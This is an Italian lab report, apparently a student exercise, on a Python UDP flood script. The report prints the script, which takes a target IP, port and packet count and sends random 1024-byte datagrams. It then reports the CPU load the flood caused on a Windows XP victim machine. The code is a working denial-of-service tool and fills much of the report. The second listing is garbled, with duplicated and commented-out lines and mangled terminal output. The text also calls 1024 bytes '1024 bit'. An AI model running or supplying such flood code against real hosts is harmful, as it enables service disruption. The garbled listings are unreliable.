Relazione Codice Python UDP Flood

Nella seguente immagine, viene illustrato il codice Python, per l'invio di pacchetti con protocollo UDP:

- Con i moduli import imposto il socket di rete e la scansione e l'invio random dei pacchetti di rete
- Scelgo delle variabili con il quale faccio partire un **input** di ogni comando e per far si di ricevere in risposta un numero intero, inserisco **int** (numero intero in risposta)
- Definiamo la grandezza dei pacchetti in bit, impostando 1024 bit
- Con socket (raccolta dei pacchetti di rete) vado a raccogliere il flusso di rete dei pacchetti con protocollo UDP
- Con for i in imposto il range dei pacchetti da inviare

```
# UDP_Flood(DoS-DDoS).py > ...
    #utilizzo i moduli import per impostare(socket,random)
    import socket
    import random

# Imposto l'indirizzo IP della vittima e la porta del target
    ip = input("Inserisci IP target:")
    porta = int(input("Inserisci la porta UDP:"))
    pacchetti = int(input("Inserisci numero di pacchetti da inviare:"))

# definiamo la grandezza dei pacchetti
grandezza = random._urandom(1024)

**S = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

# for i in range(pacchetti):
    s.sendto(grandezza,(ip,porta))
    print("Pacchetto inviato")
```

Nella seguente immagine, illustro il codice Python con relativa esecuzione (**Run**), come pulsante del terminale di Kali Linux

```
# UUDF.Flood(Dos-Dos)py>...

# #utilizo i moduli import per impostare(socket,random)

import socket

import socket

import random

# Imposto l'indirizzo IP della vittima e la porta del target

ip = input("Inserisci IP target:")

porta = int(input("Inserisci la porta UDP:"))

# pacchetti = int(input("Inserisci numero di pacchetti da inviare:"))

# definiamo la grandezza dei pacchetti

grandezza = random._urandom(1024)

# s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

# for i in range(pacchetti):

# s.sendto(grandezza,(ip,porta))

# print("Pacchetto inviato")

# print("Pacchetto inviato")

# socket.socket(socket.aF_INET, socket.SOCK_DGRAM)

# for i in range(pacchetti):

# s.sendto(grandezza,(ip,porta))

# print("Pacchetto inviato")

# socketis kaii): f/Desktop/UDP Flood/UDP_Flood (Dos-DDos).py"

# socketis kaii): f/Desktop/UDP Flood/UDP_Flood (Dos-DDos).py"

# socketto inviato
# pacchetto inviato
# pacchett
```

Nella seguente immagine, possiamo notare come dopo aver inviato i pacchetti dati con protocollo UDP, come visto in precedenza negli screen del codice Python, ci sia una crescita esponenziale del diagramma di lavoro della CPU della macchina (vittima) Windows XP, con una percentuale di sovraccarico del 43%, scegliendo un invio di 40000 pacchetti di rete



18/09/2024 Christian Vagnoni